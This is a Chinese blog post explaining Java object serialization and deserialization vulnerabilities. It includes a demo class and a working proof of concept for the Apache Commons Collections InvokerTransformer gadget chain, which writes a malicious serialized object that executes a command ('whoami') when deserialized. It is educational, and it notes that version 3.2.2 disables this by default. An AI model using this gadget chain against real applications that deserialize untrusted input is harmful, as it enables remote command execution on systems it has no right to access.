java对象序列化与反序列化漏洞

在这里写一下之前做的一个小测试,就是关于java中对象序列化的demo。

先贴出序列化测试类

package com.lazy.cc;

import java.io.Serializable;
/**
 * User: 老辉辉
 * Date: 2018/05/11
 */
public class SerialObject implements Serializable {
	/**
	 * SerialObject实现Serializable接口作为序列化的测试类,这个类的所有属性和方法都会自动序列化
	 * 而这就要提到transient,使用其修饰的属性将不需要序列化的属性前添加关键字transient,
	 * 在序列化对象的时候,这个属性就不会序列化到指定的目的地中。
	 */
	private static final long serialVersionUID = 1L;
	public int number;
    public String name;
    public transient String address;
    public void logInfo()
    {
      System.out.println("number: " + number + " name: " + name + " address: " + address);
    }
	public SerialObject(int number, String name, String address) {
		this.number = number;
		this.name = name;
		this.address = address;
	}
	public SerialObject() {
	}
}

下面贴一下测试的代码:

package com.lazy.cc;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

/**
 * User: 老辉辉
 * Date: 2018/05/11
 */
public class mainText {

	/**
	 * 命令执行函数
	 * @param command
	 * @throws IOException
	 * @throws InterruptedException
	 */
	private static void execTest(String command) throws IOException, InterruptedException {
		System.out.print("exec 'whoami' in cmd results:  ");
		//执行command
        Process process = Runtime.getRuntime().exec(command);
        //结果回显
        InputStream inputstream = process.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
        process.waitFor();
        if (process.exitValue() != 0) {
        	System.out.println(process.getErrorStream());
        }
        String msg = null;
        while ((msg = reader.readLine()) != null) {
            System.out.println(msg);
        }
    }
	
	/**
	 * 测试POC
	 * @param command
	 * @throws ClassNotFoundException
	 * @throws NoSuchMethodException
	 * @throws SecurityException
	 * @throws InstantiationException
	 * @throws IllegalAccessException
	 * @throws IllegalArgumentException
	 * @throws InvocationTargetException
	 * @throws FileNotFoundException
	 * @throws IOException
	 */
	private static void testPOC(String command) throws ClassNotFoundException, NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException, FileNotFoundException, IOException {
		Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                /*
			                由于Method类的invoke(Object obj,Object args[])方法的定义
			                所以在反射内写new Class[] {Object.class, Object[].class }
			                正常POC流程举例:
                ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
                */
                new InvokerTransformer(
                    "getMethod",
                    new Class[] {String.class, Class[].class },
                    new Object[] {"getRuntime", new Class[0] }
                ),
                new InvokerTransformer(
                    "invoke",
                    new Class[] {Object.class,Object[].class },
                    new Object[] {null, null }
                ),
                new InvokerTransformer(
                    "exec",
                    new Class[] {String[].class },
                    new Object[] { command }
                    //new Object[] { execArgs }
                )
            };

            //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
            Transformer transformedChain = new ChainedTransformer(transformers);
            Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
            BeforeTransformerMap.put("hello", "hello");

            //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
            Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            
            //构造器生成实例化对消
            Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("temp.bin")));
            out.writeObject(instance);
	}
	
	public static void main(String[] args) throws FileNotFoundException, IOException, ClassNotFoundException, InterruptedException, NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
		
		//①测试序列化对象
		SerialObject serialObject = new SerialObject(2, "lazyhunter", "xiamen");
		ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("tmp.ser"));
		oos.writeObject(serialObject);
		oos.close();
		
		//②读取反序列化对象
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tmp.ser"));
        SerialObject readObject = (SerialObject) in.readObject();
        readObject.logInfo();
        in.close();
        
        //③测试java命令执行,测试一个常用命令"whoami"的执行
        execTest("whoami");
        
        /**
         * 这里先提一下java的反射机制
         * 在java运行状态中:
		 *		1.对于任何一个类,都能获得对象所属的类;
		 *		2.对于任何一个类,都能获取其所有的属性和方法;
		 *		3.对于任何一个对象,都能调用任意一个方法和属性;
		 */
        
		/**
		 * 因此,可以通过构造特定的恶意对象序列化后的流,让目标反序列化,
		 * 加上反射机制就可以调用对象的方法(整个对象都是我们自己构建的,这个method就是一个攻击入口)
		 * 
		 * 很多站点或者RMI仓库等接口处存在java的反序列化功能,就可以利用其执行命令,甚至getshell等等。
		 * 比如:Apache Commons Collections
		 * 这个框架中有一个接口,其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数,这个接口类是InvokerTransformer。
		 * 
         */
        
        /**
         * 参考网络大牛的poc,分析利用逻辑。
         * 定义一个反射链的方法:
	     * Transformer[] varitename = new Transformer[] {
	     *    new ConstantTransformer(Runtime.class),
	     *     new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
	     *     new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
	     *     new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
	     *   }
	     */  
        
        /**
	     * 1)首先构造一个Map和一个能够执行代码的ChainedTransformer,
		 * 2)生成一个TransformedMap实例
		 * 3)实例化AnnotationInvocationHandler,并对其进行序列化,
		 * 4)当触发readObject()反序列化的时候,就能实现命令执行。
		 * POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
         */
        //④利用反序列化对象来执行命令
        testPOC("whoami");
        
	}

}

这里再讲一下,测试中一个有趣的事情,我在测试的时候使用的是commons-collections-3.2.2.jar。恰好已经在在3.2.2版本中做了修复,对这些不安全的Java类的序列化支持增加了开关,默认为关闭状态。于是有了以下的报错:

Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值